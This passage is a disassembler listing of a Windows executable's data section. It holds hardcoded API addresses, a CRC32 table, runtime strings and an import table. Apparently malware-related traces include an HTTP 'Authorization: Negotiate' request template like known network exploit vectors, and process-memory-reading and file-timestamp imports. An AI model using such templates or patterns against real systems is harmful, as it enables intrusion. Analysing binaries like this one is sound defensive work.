sub_407B7F+13r ... off_4220E0 dd offset sub_4DAF8C ; DATA XREF: sub_407E65+2r ; sub_409288+FBr ... dword_4220E4 dd 77E76A60h ; DATA XREF: sub_40907B+2Dr dword_4220E8 dd 77E71B14h ; DATA XREF: sub_409105+26r dword_4220EC dd 77E7166Fh ; DATA XREF: sub_409105+1Dr off_4220F0 dd offset sub_4DB55B ; DATA XREF: sub_409140+69r off_4220F4 dd offset sub_4DB51C ; DATA XREF: sub_409140+36r off_4220F8 dd offset sub_4DB4A4 ; DATA XREF: sub_409140+25r dword_4220FC dd 77E7011Ah ; DATA XREF: sub_4091C2+96r dword_422100 dd 77E73CE2h ; DATA XREF: sub_4091C2+60r dword_422104 dd 77E61BB8h ; DATA XREF: sub_409288+17Er ; sub_409BB2+F0r ... dword_422108 dd 77E70396h ; DATA XREF: sub_409288+126r ; sub_40CB17+1B5r ... dword_42210C dd 77E6AD34h ; DATA XREF: sub_409288+35r ; sub_40D2E0+3E60r dword_422110 dd 77E7FF65h ; DATA XREF: sub_409A5D+5Ar dword_422114 dd 77EB7624h ; DATA XREF: sub_409A5D+3Dr dword_422118 dd 77E79CE3h ; DATA XREF: sub_409BB2+91r ; sub_414C7E+77r dword_42211C dd 77E79C90h ; DATA XREF: sub_409BB2+79r ; sub_41358D+Cr ... dword_422120 dd 77E7727Ah ; DATA XREF: sub_409BB2+3Br ; sub_414B85+23r dword_422124 dd 77E7C657h ; DATA XREF: sub_409DD0+1Dr ; sub_409F1E+24r ... dword_422128 dd 77E76C1Ah ; DATA XREF: sub_409F1E+1CFr off_42212C dd offset sub_4DA0C8 ; DATA XREF: sub_40B105+478r ; sub_40B9B9+DFr ... dword_422130 dd 77E79924h ; DATA XREF: sub_40C01E+13r ; sub_41C829+20Dr ... dword_422134 dd 77E77CCEh ; DATA XREF: sub_40C0F0+Fr ; sub_417AD9+54r ... dword_422138 dd 77E65F4Ch ; DATA XREF: sub_40CA59+34r ; _0:00413ED8r dword_42213C dd 77E73628h ; DATA XREF: sub_40CB17+329r ; sub_40D2E0+4AC7r ... dword_422140 dd 77E80656h ; DATA XREF: sub_40CB17+258r dword_422144 dd 77E6BD13h ; DATA XREF: sub_40CB17:loc_40CCD2r dword_422148 dd 77E79D5Bh ; DATA XREF: sub_40CB17+68r ; sub_40CB17+2FFr dword_42214C dd 77E7C2C4h ; DATA XREF: sub_40CB17+61r dword_422150 dd 77E75CEBh ; DATA XREF: sub_40D2E0+4D3Ar ; sub_414A34+9Fr ... dword_422154 dd 77E71AFEh ; DATA XREF: sub_40D2E0+3C5Br dword_422158 dd 77E616B4h ; DATA XREF: sub_4135F8+184r ; sub_413887+1Fr ... dword_42215C dd 77E76968h ; DATA XREF: sub_413B7C+5Fr dword_422160 dd 77E7513Ch ; DATA XREF: _0:00413F6Fr dword_422164 dd 77E6C29Dh ; DATA XREF: sub_41471A+1EBr dword_422168 dd 77E74C59h ; DATA XREF: sub_414A34+C7r dword_42216C dd 77EC7C51h ; DATA XREF: sub_414E09+5Er dword_422170 dd 77F6183Eh ; DATA XREF: sub_420B66r dword_422174 dd 77E76E3Dh ; DATA XREF: sub_416ACB+6Cr ; sub_41EBF2+38r dword_422178 dd 77E61608h ; DATA XREF: sub_416ACB+17r dword_42217C dd 77F5722Fh ; DATA XREF: sub_41756F+110r ; sub_41756F+22Dr ... dword_422180 dd 77E6177Ah ; DATA XREF: _0:00417DA3r ; sub_41D6DF+59r dword_422184 dd 77E7C938h ; DATA XREF: _0:00417D78r dword_422188 dd 77E7C486h ; DATA XREF: _0:00417D2Ar dword_42218C dd 77E7AC5Eh ; DATA XREF: sub_418CBC+54r dword_422190 dd 77E76E0Bh ; DATA XREF: sub_418E04+50r dword_422194 dd 77E7C726h ; DATA XREF: sub_418E04+11r dword_422198 dd 77E79E34h ; DATA XREF: sub_418ED4+240r ; sub_4199A8+120r ... dword_42219C dd 77E7980Ah ; DATA XREF: sub_419506+76r ; sub_4195B7+51r ... dword_4221A0 dd 77E73196h ; DATA XREF: sub_41EA0E+Cr dword_4221A4 dd 77E6D706h ; DATA XREF: sub_41A160+215r ; sub_420CE3+2Er dword_4221A8 dd 77F522F2h ; DATA XREF: sub_41B6C8+58r dword_4221AC dd 77E77405h ; DATA XREF: sub_41C829+5Er ; sub_41C829+A7r ... dword_4221B0 dd 77E781F9h ; DATA XREF: sub_41C829+42r ; sub_41C829+14Dr ... dword_4221B4 dd 77E7849Fh ; DATA XREF: sub_41CA4D+48r ; sub_41CC8C+14r ... dword_4221B8 dd 77E7A13Fh ; DATA XREF: sub_41CBE6+2Fr dword_4221BC dd 77E6C703h ; DATA XREF: sub_41CBE6+1Ar dword_4221C0 dd 77EB9A84h ; DATA XREF: sub_41D0CB+138r dword_4221C4 dd 77E9C5B1h ; DATA XREF: sub_41D5AD+11Fr dword_4221C8 dd 77E7C9E1h ; DATA XREF: sub_41D5AD+CEr align 10h dword_4221D0 dd 71AB12F8h ; DATA XREF: sub_404021+35r dword_4221D4 dd 71AB1836h ; DATA XREF: sub_404021+6Er ; sub_40409E+8Er dword_4221D8 dd 71AB41DAh ; DATA XREF: sub_403A1B+47r ; sub_404021+15r dword_4221DC dd 71AB3F8Dh ; DATA XREF: sub_403A1B+8Dr dword_4221E0 dd 71AB1746h ; DATA XREF: sub_403A1B+B3r ; sub_404021+41r dword_4221E4 dd 71AB3ECEh ; DATA XREF: sub_403A1B+C4r dword_4221E8 dd 71AB5DE2h ; DATA XREF: sub_403A1B+D8r dword_4221EC dd 71AB868Dh ; DATA XREF: sub_403A1B+180r dword_4221F0 dd 71AB5690h ; DATA XREF: sub_403A1B+1F0r dword_4221F4 dd 71AB1AF4h ; DATA XREF: sub_403161+12r ; sub_403A1B+E4r ... dword_4221F8 dd 71AB1890h ; DATA XREF: sub_402FC3+4Cr ; sub_403A1B+115r dword_4221FC dd 71AB1B7Bh ; DATA XREF: sub_420B60r dword_422200 dd 71AB3C22h ; DATA XREF: sub_4018D0+59r ; sub_40345C+ADr ... dword_422204 dd 71AB155Ah ; DATA XREF: sub_4018D0+70r ; sub_403A1B+9Dr dword_422208 dd 71AB3E5Dh ; DATA XREF: sub_4018D0+8Cr ; sub_404021+57r dword_42220C dd 71AB1A6Dh ; DATA XREF: sub_4018D0+AAr ; sub_403A1B+241r ... dd 2 dup(0) aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4033A1+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_422258 dq 1.388888888888889e-2 ; DATA XREF: sub_4031B3+2Fr dbl_422260 dq 1.666666666666667e-1 ; DATA XREF: sub_4031B3+15r dword_422268 dd 0FFFFFFFFh ; DATA XREF: sub_4031FF+16Fr ; sub_403631r ... align 10h dbl_422270 dq 1.333333333333333 ; DATA XREF: sub_4031FF+79r dword_422278 dd 0 ; DATA XREF: sub_4033A1+4Do ; sub_4036E1+5Bo ... dword_42227C dd 0 ; DATA XREF: sub_40A832+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dd 0 dbl_422680 dq 9.765625e-4 ; DATA XREF: sub_40B105+2BDr ; sub_40B105+2D8r ... dbl_422688 dq -3.0517578125e-5 ; DATA XREF: sub_4138BE+1Er dbl_422690 dq 1.0 ; DATA XREF: sub_415E4A+6Cr ; sub_415F93+6Cr ... dword_422698 dd 0FFFFFFFFh, 417DDBh, 417DEFh ; DATA XREF: _0:00417D09o byte_4226A4 db 6 ; DATA XREF: sub_417F58:loc_417FAFr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: _2:off_42F35Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: _2:off_42F358o align 4 a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_418CBC+8Eo align 10h a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_418CBC+4Fo align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: _2:off_4315ACo align 10h dbl_422800 dq 0.0 ; DATA XREF: sub_41A413+8Cr ; sub_41A413+ACr ... dbl_422808 dq 4.195835e6 ; DATA XREF: sub_41A928+Fr dbl_422810 dq 3.145727e6 ; DATA XREF: sub_41A928+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41A966+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41A966o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_41AA8D+93o align 4 dword_422848 dd 0FFFFFFFFh, 41B178h, 41B182h, 0 ; DATA XREF: sub_41B111+5o dword_422858 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41B240+5o dd offset loc_41B2FE align 8 dd offset sub_41B2DC dd offset sub_41B2E6 dword_422870 dd 0FFFFFFFFh, 41B52Eh, 41B532h, 0 ; DATA XREF: sub_41B376+5o dword_422880 dd 0FFFFFFFFh, 41B590h, 41B599h, 0 ; DATA XREF: sub_41B53A+5o dword_422890 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41B61C+5o dd offset loc_41B66D align 10h dd offset loc_41B659 dd offset loc_41B65D dword_4228A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41B672+5o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0B6h, 41h, 0 align 8 dd offset loc_41B6AF dd offset loc_41B6B3 dword_4228C0 dd 2 dup(0) ; DATA XREF: sub_41C829+36o ; sub_41DC83+39o ... dword_4228C8 dd 0FFFFFFFFh, 41C939h, 41C93Dh, 0FFFFFFFFh, 41C9EDh, 41C9F1h ; DATA XREF: sub_41C829+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: _2:off_4319ECo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D9A5+119o align 10h asc_422B90 db 0Ah ; DATA XREF: sub_41D9A5+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41D9A5+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_41D9A5+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41D9A5+7Do align 10h dword_422BD0 dd 0FFFFFFFFh, 41DD7Ch, 41DD80h ; DATA XREF: sub_41DC83+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_41EBF2+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41F17E+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41F17E+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41F17E+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41FAC8:loc_41FBBDo align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_41FAC8+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_41FAC8+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_41FAC8+ADo align 10h dword_422C70 dd 0FFFFFFFFh, 4204C0h, 4204C4h, 0FFFFFFFFh, 42052Fh, 420533h ; DATA XREF: sub_420309+5o dd 422DACh off_422C8C dd offset loc_4208F2 ; DATA XREF: sub_4208CA+8o ; sub_42090E+2Co ... dd offset sub_4208E5 dd offset sub_420B06 dd offset dword_422DF8 off_422C9C dd offset sub_42095C ; DATA XREF: sub_42090E+3Ao ; sub_420978o ... dd offset sub_4208E5 dd offset loc_420B42 dword_422CA8 dd 0 ; DATA XREF: sub_42090E+16o ; sub_4209E0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_420983+11o dd offset dword_422E44 off_422CC8 dd offset sub_420A6B ; DATA XREF: sub_420A87o ; sub_420AAA+37o ... dd offset sub_4208E5 dd offset loc_420B24 aStringTooLong db 'string too long',0 ; DATA XREF: sub_420AAA+11o dd offset dword_422E88 off_422CE8 dd offset loc_420C01 ; DATA XREF: sub_420BECo ; _2:off_43210Co ... dd offset dword_422EB8 off_422CF0 dd offset loc_420C1D ; DATA XREF: sub_420C39+8o ; sub_420C76+8o ... dd offset sub_420CD6 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_420CD6+7o align 10h dword_422D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_420CE3+Eo dd 3, 19930520h, 2 dup(0) dword_422D30 dd 0FFFFFFFFh, 420E94h, 420E98h, 0FFFFFFFFh, 420F11h, 420F15h ; DATA XREF: sub_420D92+5o dword_422D48 dd 0FFFFFFFFh, 421109h, 42110Dh, 0FFFFFFFFh, 421166h, 42116Ah ; DATA XREF: sub_42101D+5o dd 43210Ch, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_422D78 dd offset off_432124 ; DATA XREF: _1:00422D90o _1:00422DDCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_422D78 dd offset dword_422D48+18h dword_422D98 dd 3 dup(0) ; DATA XREF: _1:00422DBCo dd 2, 422D90h, 3 dup(0) dd offset off_432124 dd offset dword_422D98+4 off_422DC0 dd offset off_432144 ; DATA XREF: _1:00422DD8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_422DC0 dd offset off_422D78 dd offset dword_422D48+18h dd 0 db 0 ; DATA XREF: _1:00422E08o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 422DD8h dword_422DF8 dd 3 dup(0) ; DATA XREF: _1:00422C98o dd offset off_432144 dd offset unk_422DE8 off_422E0C dd offset off_432164 ; DATA XREF: _1:00422E24o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_422E0C dd offset off_422D78 dd offset dword_422D48+18h dword_422E30 dd 3 dup(0) ; DATA XREF: _1:00422E54o dd 3, 422E24h dword_422E44 dd 3 dup(0) ; DATA XREF: _1:00422CC4o dd offset off_432164 dd offset dword_422E30+4 off_422E58 dd offset off_432188 ; DATA XREF: _1:00422E70o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_422E58 dd 0 db 0 ; DATA XREF: _1:00422E98o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 422E70h dword_422E88 dd 3 dup(0) ; DATA XREF: _1:00422CE4o dd offset off_432188 dd offset unk_422E78 dd offset dword_422D48+18h dword_422EA0 dd 4 dup(0) ; DATA XREF: _1:00422EC8o dd 1, 422E9Ch dword_422EB8 dd 3 dup(0) ; DATA XREF: _1:00422CECo dd offset off_43210C dd offset dword_422EA0+8 align 10h dword_422ED0 dd 19930520h, 2, 422EF0h, 5 dup(0) ; DATA XREF: _0:loc_421203o dd 0FFFFFFFFh, 4211ECh, 0 dd offset sub_4211E4 dword_422F00 dd 19930520h, 2, 422F20h, 5 dup(0) ; DATA XREF: _0:loc_421220o dd 0FFFFFFFFh, 421210h, 0 dd offset loc_421218 dword_422F30 dd 19930520h, 2, 422F50h, 1, 422F60h, 3 dup(0) ; DATA XREF: _0:loc_42122Co dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 422F78h, 4 dup(0) dd offset loc_40394B dd 0FFFFFFFFh, 421236h dword_422F90 dd 19930520h, 1, 422F88h, 5 dup(0) ; DATA XREF: _0:loc_42123Eo dd offset off_43210C align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 420C76h, 0 dd offset off_432124 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 420A28h, 0 dd offset off_432144 align 10h dd 0FFFFFFFFh, 0 dword_422FF8 dd 1Ch, 420A92h, 3, 422FE4h, 422FC8h, 422FACh ; DATA XREF: _1:0042301Co dword_423010 dd 0 ; DATA XREF: sub_420983+2Eo ; sub_420B06+4Bo dd offset sub_420978 dd 0 dd offset dword_422FF8+8 dd 0FFFFFFFFh, 421248h dword_423028 dd 19930520h, 1, 423020h, 4 dup(0) ; DATA XREF: _0:loc_421250o dd 0FFFFFFFFh, 42125Ah dword_42304C dd 19930520h, 1, 423044h, 4 dup(0) ; DATA XREF: _0:loc_421262o dd 0FFFFFFFFh, 42126Ch dword_423070 dd 19930520h, 1, 423068h, 5 dup(0) ; DATA XREF: _0:loc_421274o dd offset off_432164 align 8 dd 0FFFFFFFFh, 0 dword_4230A0 dd 1Ch, 420AEEh, 3, 42308Ch, 422FC8h, 422FACh ; DATA XREF: _1:004230C4o dword_4230B8 dd 0 ; DATA XREF: sub_420AAA+2Eo ; sub_420B06+2Do dd offset sub_420A87 dd 0 dd offset dword_4230A0+8 dd 0FFFFFFFFh, 42127Eh dword_4230D0 dd 19930520h, 1, 4230C8h, 4 dup(0) ; DATA XREF: _0:loc_421286o dword_4230EC dd 2, 422FC8h, 422FACh ; DATA XREF: _1:00423104o dword_4230F8 dd 0 ; DATA XREF: sub_420B06+Fo ; --------------------------------------------------------------------------- retf 4208h ; --------------------------------------------------------------------------- align 10h dd 0 dd offset dword_4230EC dd 23314h, 0FFFFFFFEh, 0 dd 23358h, 221D0h, 23144h, 0FFFFFFFEh, 0 dd 23BA8h, 22000h, 5 dup(0) dd 236DCh, 23B8Eh, 23B7Ch, 23B6Ah, 23B5Ah, 23B4Ah, 23B3Ah dd 23B1Ch, 23B08h, 23AF8h, 23AE6h, 23AD4h, 23AC6h, 23AB6h dd 23AA4h, 23A8Ah, 23A72h, 23364h, 23372h, 23382h, 2339Ch dd 233B8h, 233C0h, 233D6h, 233E6h, 233FCh, 2340Eh, 23420h dd 23430h, 23440h, 2344Eh, 2345Ch, 2346Ah, 23480h, 2348Ch dd 234A4h, 234BEh, 234CEh, 234E0h, 234ECh, 234FEh, 23516h dd 2352Eh, 23556h, 2356Eh, 2357Ah, 23588h, 235A2h, 235B4h dd 235C4h, 235D0h, 235DCh, 235EEh, 23600h, 23614h, 23624h dd 23632h, 23646h, 23658h, 23668h, 23676h, 23688h, 23698h dd 236AEh, 236BCh, 236CAh, 236F8h, 2370Eh, 2371Eh, 23734h dd 23744h, 23756h, 2376Ah, 23778h, 23788h, 2379Eh, 237ACh dd 237C2h, 237D8h, 237ECh, 237FAh, 23810h, 2381Ch, 23832h dd 23842h, 23854h, 23860h, 23874h, 2388Ch, 2389Eh, 238B2h dd 238CCh, 238E8h, 238F4h, 2390Eh, 2391Eh, 2392Ch, 2393Eh dd 23950h, 2395Eh, 23978h, 23986h, 23994h, 239A2h, 239B2h dd 239C2h, 239D4h, 239E0h, 239F0h, 23A00h, 23A0Ch, 23A16h dd 23A22h, 23A3Eh, 23A58h, 0 dd 8000000Bh, 80000074h, 80000073h, 80000015h, 80000009h dd 80000002h, 8000000Dh, 80000001h, 80000010h, 80000013h dd 80000012h, 80000097h, 80000017h, 8000000Ah, 80000004h dd 80000003h, 0 dd 5F325357h, 642E3233h, 6C6Ch, 784500BAh, 68547469h, 64616572h dd 1DF0000h, 54746547h, 436B6369h, 746E756Fh, 2A30000h aQueryperform_1 db 'QueryPerformanceCounter',0 db 0A4h ; db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 db 56h ; V db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0C1h ; db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 173h aGetlocaltime db 'GetLocalTime',0 align 2 dw 17Dh aGetmodulefil_0 db 'GetModuleFileNameA',0 align 4 dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470171h, 73614C74h dd 72724574h, 726Fh, 7243006Fh, 65746165h, 65726854h, 6461h dd 6C430034h, 4865736Fh, 6C646E61h, 1630065h, 46746547h dd 53656C69h, 657A69h, 72430053h, 65746165h, 656C6946h dd 15E0041h aGetfileattri_2 db 'GetFileAttributesA',0 align 10h db '',0 aFindclose_0 db 'FindClose',0 db '',0 aFiletimetosyst db 'FileTimeToSystemTime',0 align 4 db '',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db '',0 aFindnextfile_0 db 'FindNextFileA',0 db '',0 aFindfirstfil_0 db 'FindFirstFileA',0 align 10h dd 655202B5h, 69466461h, 656Ch, 6553031Bh, 6C694674h, 696F5065h dd 7265746Eh, 2510000h aLeavecritica_0 db 'LeaveCriticalSection',0 align 2 aS_1 db '',0 aEntercritica_0 db 'EnterCriticalSection',0 align 2 dw 224h aInitializecr_0 db 'InitializeCriticalSectionAndSpinCount',0 aB db '',0 aDeletecritic_0 db 'DeleteCriticalSection',0 dw 3A4h aWritefile_0 db 'WriteFile',0 dw 0F8h aFreelibrary_0 db 'FreeLibrary',0 db 59h ; Y db 1, 47h, 65h aTenvironmentva db 'tEnvironmentVariableW',0 dw 1A0h aGetprocaddre_0 db 'GetProcAddress',0 align 4 db 52h ; R db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 16h db 2, 48h, 65h aApfree db 'apFree',0 align 10h db 10h db 2, 48h, 65h aApalloc db 'apAlloc',0 db 0A3h ; db 1, 47h, 65h aTprocessheap db 'tProcessHeap',0 align 2 dw 389h aVirtualqueryex db 'VirtualQueryEx',0 align 10h db 0B8h ; db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 db 0C5h ; db 1, 47h, 65h aTsysteminfo db 'tSystemInfo',0 db 86h ; db 2, 4Fh, 70h aEnprocess db 'enProcess',0 dw 17Fh aGetmodulehan_0 db 'GetModuleHandleA',0 align 2 dw 0F3h aFormatmessag_0 db 'FormatMessageA',0 align 4 db 0Ah db 2, 47h, 6Ch aObalunlock db 'obalUnlock',0 align 4 db 3 db 2, 47h, 6Ch aOballock db 'obalLock',0 align 2 dw 371h aUnmapviewoff_0 db 'UnmapViewOfFile',0 db 68h ; h db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 aT db 'T',0 aCreatefilema_1 db 'CreateFileMappingA',0 align 2 dw 31Fh aSetfiletime db 'SetFileTime',0 db 65h ; e db 1, 47h, 65h aTfiletime db 'tFileTime',0 aF db 'f',0 aCreateproces_0 db 'CreateProcessA',0 align 4 db '',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 db 19h db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 